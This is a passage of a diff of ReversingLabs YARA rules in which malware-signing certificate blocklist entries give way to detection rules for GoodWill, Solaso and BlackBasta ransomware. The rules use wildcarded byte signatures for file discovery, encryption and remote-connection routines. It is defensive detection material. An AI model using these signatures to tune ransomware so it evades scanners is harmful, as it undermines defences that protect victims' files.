description = "Certificate used for digitally signing malware." + description = "Yara rule that detects GoodWill ransomware." author = "ReversingLabs" - id = "306444d8-7573-58c6-b6fe-14d701942275" - date = "2020-08-05" - modified = "2023-11-08" + id = "66358802-450b-5276-8088-b3550519b1e8" + date = "2022-06-28" + modified = "2022-06-28" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3360-L3376" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.GoodWill.yara#L1-L89" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fc6adbfd45ff6ac465aecb3db862421f02170e977fc044017f3ddc306a9f7a37" + logic_hash = "94e2950f415ba737fe5ca9d32a3d850dd5744e547c4ca094ad28545e19033cb2" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "GoodWill" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_file = { + 02 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 6F + ?? ?? ?? ?? 0A 06 28 ?? ?? ?? ?? 0B 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 02 72 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 07 28 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? DE ?? 26 72 ?? + ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 2A + } + $aes_encrypt = { + 14 0A 03 0B 73 ?? ?? ?? ?? 0C 73 ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 07 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? + ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? + ?? ?? 6F ?? ?? ?? ?? 09 17 6F ?? ?? ?? ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? + 11 ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? + ?? ?? ?? DC 08 6F ?? ?? ?? ?? 0A DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ?? + ?? ?? ?? DC 06 2A + } + $find_files_p1 = { + 28 ?? ?? ?? ?? 0A 1F ?? 28 ?? ?? ?? ?? 0B 18 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 + 17 72 ?? ?? ?? ?? A2 0C 06 0D 16 13 ?? 38 ?? ?? ?? ?? 09 11 ?? 9A 13 ?? 11 ?? 6F ?? ?? + ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? DD ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 + ?? 28 ?? ?? ?? ?? 08 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 28 ?? ?? + ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 28 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 7D ?? ?? + ?? ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 19 6F ?? ?? ?? ?? 6F ?? + ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? + ?? DC DE ?? 26 DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? + ?? ?? ?? DC 11 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? + 11 ?? 11 ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? + ?? ?? ?? 25 19 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? + DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? + 8E 69 3F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 09 8E 69 3F ?? ?? ?? ?? 08 + } + $find_files_p2 = { + 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 07 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 + ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? + 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 11 ?? FE 06 ?? ?? + ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 19 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? + 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 26 + DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 07 11 ?? 28 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? + 7D ?? ?? ?? ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 19 6F ?? ?? ?? + ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F + ?? ?? ?? ?? DC DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 2A + } + $remote_connection = { + 73 ?? ?? ?? ?? 0A 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 17 28 ?? ?? ?? + ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 1C 6F ?? ?? ?? ?? 2B ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? + 1C 6F ?? ?? ?? ?? 06 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 17 0B DE ?? 26 72 ?? ?? ?? ?? + 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 07 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AFVIMPEX SRL" and pe.signatures [ i ] . serial == "7d:f2:df:ed:47:c6:fd:65:42:13:18:47:cf:fb:c1:02" and 1567036800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_file ) and ( $aes_encrypt ) and ( $remote_connection ) } - -rule REVERSINGLABS_Cert_Blocklist_74Fedf0F8398060Fa8378C6D174465C8 : INFO FILE +rule REVERSINGLABS_Win64_Ransomware_Solaso : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Solaso ransomware." author = "ReversingLabs" - id = "eea46214-d0f5-5e92-b678-4a1df09025ce" - date = "2020-08-05" - modified = "2023-11-08" + id = "53f56ad8-ccdf-58f0-a5d9-e58f2c18ac76" + date = "2021-11-02" + modified = "2021-11-02" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3378-L3394" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Solaso.yara#L1-L171" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "406821c7990f05fdad91704f6418304f53dd4800bc4b41912177a1695858fade" + logic_hash = "368a80a9f2e264d17c61d6ed4c22baec838ba0b0bc2e5c79344830bf861aa5a2" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Solaso" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + C6 85 ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 45 ?? 4C 89 AD ?? ?? ?? ?? 48 8D 85 + ?? ?? ?? ?? 48 89 45 ?? B1 ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 90 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D + 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B BD + ?? ?? ?? ?? 4C 8B BD ?? ?? ?? ?? 49 3B FF 0F 84 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 8D + 95 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 90 48 8D 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? + ?? 48 0F 43 95 ?? ?? ?? ?? 4C 8B 85 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 48 8B C8 E8 ?? ?? ?? ?? 4C 89 AD ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 + ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 95 ?? ?? ?? ?? + 4C 8B 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B CF 48 83 7F ?? ?? 72 + ?? 48 8B 0F BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? + 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24 ?? 4C 89 AD ?? + ?? ?? ?? 4C 89 AD ?? ?? ?? ?? 48 8B B5 ?? ?? ?? ?? 4C 8D B5 ?? ?? ?? ?? 48 83 BD ?? + ?? ?? ?? ?? 4C 0F 43 B5 ?? ?? ?? ?? 48 83 FE ?? 73 ?? 41 0F 10 06 0F 11 85 ?? ?? ?? + ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 + } + $find_files_p2 = { + 8B DE 48 83 CB ?? 48 3B D8 48 0F 47 D8 48 8D 4B ?? 48 81 F9 ?? ?? ?? ?? 72 ?? 48 8D + 41 ?? 48 3B C1 0F 86 ?? ?? ?? ?? 0F AE E8 48 8B C8 E8 ?? ?? ?? ?? 48 8B C8 48 85 C0 + 0F 84 ?? ?? ?? ?? 48 83 C0 ?? 48 83 E0 ?? 48 89 48 ?? EB ?? 48 85 C9 74 ?? 0F AE E8 + E8 ?? ?? ?? ?? EB ?? 49 8B C5 48 89 85 ?? ?? ?? ?? 4C 8D 46 ?? 49 8B D6 48 8B C8 E8 + ?? ?? ?? ?? 48 89 9D ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 4C 89 6D ?? 4C 89 6D ?? 48 8B + B5 ?? ?? ?? ?? 4C 8D B5 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 4C 0F 43 B5 ?? ?? ?? ?? + 48 83 FE ?? 73 ?? 41 0F 10 06 0F 11 45 ?? 48 C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 + B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 45 ?? 48 8B DE 48 83 CB ?? 48 89 5D ?? 48 3B D8 48 + 0F 47 D8 48 8D 4B ?? 48 81 F9 ?? ?? ?? ?? 72 ?? 48 8D 41 ?? 48 3B C1 0F 86 ?? ?? ?? + ?? 0F AE E8 48 8B C8 E8 ?? ?? ?? ?? 48 8B C8 48 85 C0 0F 84 ?? ?? ?? ?? 48 83 C0 ?? + 48 83 E0 ?? 48 89 48 ?? EB ?? 48 85 C9 74 ?? 0F AE E8 E8 ?? ?? ?? ?? EB ?? 49 8B C5 + 48 89 45 ?? 4C 8D 46 ?? 49 8B D6 48 8B C8 E8 ?? ?? ?? ?? 48 89 5D ?? 48 89 75 ?? 4C + 8D 85 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8D + } + $encrypt_files_p1 = { + 48 63 53 ?? 48 89 B5 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 45 33 + C0 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 55 ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 55 ?? + 4C 63 43 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 4B ?? 48 85 C9 0F 84 + ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 3B CA 77 ?? 48 89 8D ?? ?? ?? ?? 48 8D 45 ?? 48 + 83 BD ?? ?? ?? ?? ?? 48 0F 43 45 ?? C6 04 01 ?? EB ?? 48 8B F1 48 2B F2 4C 8B 85 ?? + ?? ?? ?? 49 8B C0 48 2B C2 48 3B F0 77 ?? 48 89 8D ?? ?? ?? ?? 48 8D 7D ?? 49 83 F8 + ?? 48 0F 43 7D ?? 48 03 FA 4C 8B C6 33 D2 48 8B CF E8 ?? ?? ?? ?? C6 04 37 ?? EB ?? + 0F AE E8 C6 44 24 ?? ?? 4C 8B CE 48 8B D6 48 8D 4D ?? E8 ?? ?? ?? ?? 33 F6 8B 43 ?? + 99 41 F7 FD B9 ?? ?? ?? ?? 85 C0 0F 45 C8 89 4B ?? 83 F9 ?? 0F 8C ?? ?? ?? ?? 4C 63 + C9 4C 8D 45 ?? 48 8D 54 24 ?? E8 ?? ?? ?? ?? 48 8B F8 48 3B D8 74 ?? 48 8B 0B 48 85 + } + $encrypt_files_p2 = { + C9 74 ?? 48 8B 53 ?? E8 ?? ?? ?? ?? 48 8B 0B 48 8B 53 ?? 48 2B D1 48 83 E2 ?? 48 81 + FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 0F 87 + ?? ?? ?? ?? 49 8B C8 E8 ?? ?? ?? ?? 48 89 33 48 89 73 ?? 48 89 73 ?? 48 8B 07 48 89 + 03 48 8B 47 ?? 48 89 43 ?? 48 8B 47 ?? 48 89 43 ?? 48 89 37 48 89 77 ?? 48 89 77 ?? + 48 8B 4C 24 ?? 48 85 C9 74 ?? 48 8B 54 24 ?? E8 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B 4C + 24 ?? 48 2B D1 48 83 E2 ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 + ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 74 24 ?? + 0F 57 C0 F3 0F 7F 44 24 ?? EB ?? 48 8B 0B 48 8D 45 ?? 48 3B C8 74 ?? 48 8D 55 ?? 48 + 83 BD ?? ?? ?? ?? ?? 48 0F 43 55 ?? 4C 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B CB E8 + ?? ?? ?? ?? 45 33 C0 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 83 7B ?? ?? 74 + ?? 33 FF 0F 1F 40 ?? 66 0F 1F 84 00 ?? ?? 00 00 4C 8B 03 4C 03 C7 49 8B D0 49 83 78 + ?? ?? 72 ?? 49 8B 10 4D 8B 40 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 63 CE 48 C1 E1 ?? 48 + } + $encrypt_files_p3 = { + 03 0B 45 33 C0 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 0B 48 03 CF 48 C7 41 ?? ?? + ?? ?? ?? 48 83 79 ?? ?? 72 ?? 48 8B 09 C6 01 ?? FF C6 48 83 C7 ?? 3B 73 ?? 75 ?? 48 + 8D 55 ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 55 ?? 4C 8B 85 ?? ?? ?? ?? 48 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 90 48 8B 95 ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 4D ?? + 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 + 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 63 48 ?? 33 F6 F6 44 0C + ?? ?? 75 ?? E9 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 4D + ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? + 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? 48 8D 4C 24 ?? E8 + ?? ?? ?? ?? BB ?? ?? ?? ?? 48 85 C0 75 ?? 48 8B 44 24 ?? 48 63 48 ?? 48 8D 44 24 ?? + 48 03 C8 41 8B D4 48 83 79 ?? ?? 0F 45 D3 0B 51 ?? 45 33 C0 E8 ?? ?? ?? ?? 48 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 48 8D 85 + ?? ?? ?? ?? 48 03 C8 48 83 79 ?? ?? 44 0F 45 E3 44 0B 61 ?? 45 33 C0 41 8B D4 E8 ?? + ?? ?? ?? 90 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 48 89 BC 0D ?? ?? ?? ?? 48 8B 85 ?? ?? + ?? ?? 48 63 48 ?? 8D 91 ?? ?? ?? ?? 89 94 0D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 48 8D 05 ?? ?? ?? ?? 48 89 84 0D ?? ?? ?? + ?? 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 8D 51 ?? 89 94 0D ?? ?? ?? ?? 48 8D 1D ?? ?? ?? + ?? 48 89 9D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 44 24 ?? 48 63 + } + $encrypt_files_p4 = { + 48 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 0C ?? 48 8B 44 24 ?? 48 63 48 ?? 8D 91 ?? ?? ?? + ?? 89 54 0C ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 63 48 ?? 48 8D 05 ?? + ?? ?? ?? 48 89 44 0C ?? 48 8B 44 24 ?? 48 63 48 ?? 8D 51 ?? 89 54 0C ?? 48 89 5D ?? + 48 8D 4D ?? E8 ?? ?? ?? ?? 90 49 8B 57 ?? 48 83 FA ?? 72 ?? 49 8B 0F 48 FF C2 48 81 + FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 0F 87 + ?? ?? ?? ?? 49 8B C8 E8 ?? ?? ?? ?? 49 89 77 ?? 49 C7 47 ?? ?? ?? ?? ?? 41 C6 07 ?? + 49 8B 56 ?? 48 83 FA ?? 72 ?? 48 FF C2 49 8B 0E 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 + ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 77 ?? 49 8B C8 E8 ?? ?? ?? ?? 49 89 + 76 ?? 49 C7 46 ?? ?? ?? ?? ?? 41 C6 06 ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? + ?? 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 41 5D 41 5C 5F 5E 5D C3 + E8 + } + $encrypt_files_p5 = { + 48 8B C4 48 89 58 ?? 48 89 70 ?? 48 89 78 ?? 4C 89 40 ?? 55 41 54 41 55 41 56 41 57 + 48 8D 68 ?? 48 81 EC ?? ?? ?? ?? 45 8B E1 49 8B D8 44 8B 4D ?? 48 8B FA 44 8B 45 ?? + 48 8B F1 41 8B D4 48 8D 4D ?? E8 ?? ?? ?? ?? 0F 10 00 F2 0F 10 48 ?? 0F 11 45 ?? 66 + 0F 73 D8 ?? 66 49 0F 7E C7 F2 0F 11 4D ?? 49 C1 EF ?? F2 0F 11 4D ?? 4C 89 7D ?? 41 + 83 FF ?? 75 ?? E8 ?? ?? ?? ?? 33 F6 89 30 83 0F ?? E8 ?? ?? ?? ?? 8B 00 E9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 89 07 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 33 F6 89 30 83 0F ?? E8 ?? ?? + ?? ?? C7 00 ?? ?? ?? ?? EB ?? 8B 4D ?? 4C 8D 4D ?? 4C 8B 75 ?? 41 8B C4 48 8B 55 ?? + 45 8B C7 C1 E8 ?? 49 C1 EE ?? F7 D0 44 0B 75 ?? 83 E0 ?? C7 06 ?? ?? ?? ?? 33 F6 48 + 89 74 24 ?? 44 89 74 24 ?? 89 4C 24 ?? 48 8B CB 48 C1 EA ?? C7 45 ?? ?? ?? ?? ?? 48 + 89 75 ?? 89 45 ?? 4C 89 75 ?? FF 15 ?? ?? ?? ?? 8B 5D ?? B9 ?? ?? ?? ?? 4C 8B E8 48 + 83 F8 ?? 75 ?? 8B C3 23 C1 3B C1 75 ?? 41 F6 C4 ?? 74 ?? 8B 4D ?? 4C 8D 4D ?? 48 89 + 74 24 ?? 0F BA F3 ?? 89 5D ?? 45 8B C7 48 8B 55 ?? 44 89 74 24 ?? 89 4C 24 ?? 48 8B + } + $encrypt_files_p6 = { + 4D ?? 48 C1 EA ?? FF 15 ?? ?? ?? ?? 4C 8B E8 48 83 F8 ?? 75 ?? 48 63 0F 4C 8D 3D ?? + ?? ?? ?? 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D 0C C9 49 8B 04 C7 80 64 C8 ?? ?? FF 15 + ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 85 C0 75 + ?? FF 15 ?? ?? ?? ?? 8B C8 8B D8 E8 ?? ?? ?? ?? 48 63 17 4C 8D 3D ?? ?? ?? ?? 48 8B + CA 83 E2 ?? 48 C1 F9 ?? 48 8D 14 D2 49 8B 0C CF 80 64 D1 ?? ?? 49 8B CD FF 15 ?? ?? + ?? ?? 85 DB 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E9 ?? ?? ?? ?? 44 8A + 75 ?? 83 F8 ?? 75 ?? 41 80 CE ?? EB ?? 83 F8 ?? 75 ?? 41 80 CE ?? 8B 0F 49 8B D5 E8 + ?? ?? ?? ?? 48 63 0F 4C 8D 3D ?? ?? ?? ?? 48 8B C1 41 80 CE ?? 48 C1 F8 ?? 83 E1 ?? + 44 88 75 ?? 49 8B 04 C7 48 8D 0C C9 44 88 74 C8 ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1 + F8 ?? 48 8D 0C C9 49 8B 04 C7 40 88 74 C8 ?? 41 F6 C4 ?? 74 ?? 8B 0F E8 ?? ?? ?? ?? + 89 45 ?? 85 C0 74 ?? 8B 0F E8 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 0F 10 45 ?? 4C 8D + 4D ?? 8B 0F F2 0F 10 4D ?? 48 8D 55 ?? 45 8B C4 0F 29 45 ?? 40 88 75 ?? F2 0F 11 4D + ?? E8 ?? ?? ?? ?? 48 63 0F 89 45 ?? 85 C0 75 ?? 48 8B C1 48 C1 F9 ?? 83 E0 ?? 49 8B + } + $encrypt_files_p7 = { + 0C CF 48 8D 14 C0 8A 45 ?? 88 44 D1 ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D + 14 C9 49 8B 0C C7 41 8B C4 C1 E8 ?? 24 ?? 80 64 D1 ?? ?? 08 44 D1 ?? 41 F6 C6 ?? 75 + ?? 41 F6 C4 ?? 74 ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D 0C C9 49 8B 04 C7 + 80 4C C8 ?? ?? B9 ?? ?? ?? ?? 8B C3 23 C1 3B C1 0F 85 ?? ?? ?? ?? 41 F6 C4 ?? 0F 84 + ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 48 8B 4D ?? 4C 8D 4D ?? 44 8B 45 ?? 0F BA F3 + ?? 48 89 74 24 ?? 89 4C 24 ?? 8B 4D ?? 89 4C 24 ?? 48 8B 4D ?? 89 5D ?? 48 8B 55 ?? + 48 C1 EA ?? FF 15 ?? ?? ?? ?? 48 8B D0 48 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 8B C8 E8 + ?? ?? ?? ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D 0C C9 49 8B 04 C7 80 64 C8 + ?? ?? 8B 0F E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 63 0F 48 8B C1 48 C1 F8 ?? 83 E1 ?? 49 + 8B 04 C7 48 8D 0C C9 48 89 54 C8 ?? 33 C0 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B + 73 ?? 49 8B 7B ?? 49 8B E3 41 5F 41 5E 41 5D 41 5C 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DOCS PTY LTD" and pe.signatures [ i ] . serial == "74:fe:df:0f:83:98:06:0f:a8:37:8c:6d:17:44:65:c8" and 1566172800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_3Bd6A5Bba28E7C1Ca44880159Dace237 : INFO FILE +rule REVERSINGLABS_Win64_Ransomware_Blackbasta : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects BlackBasta ransomware." author = "ReversingLabs" - id = "c80245bd-908a-5b89-92e3-af0dd7bed63a" - date = "2020-08-05" - modified = "2023-11-08" + id = "7a4ad567-0612-5a9c-8a06-4d615bc7e24a" + date = "2022-12-13" + modified = "2022-12-13" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3396-L3412" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.BlackBasta.yara#L1-L293" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f885c782148947d09133a3cc65319e02204c21d6c6d911b360840f25f37601dc" + logic_hash = "79c81a4470e9eabbd714b1a91621c7b2bbe42d5371ba2c799529662d5f5c479a" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" 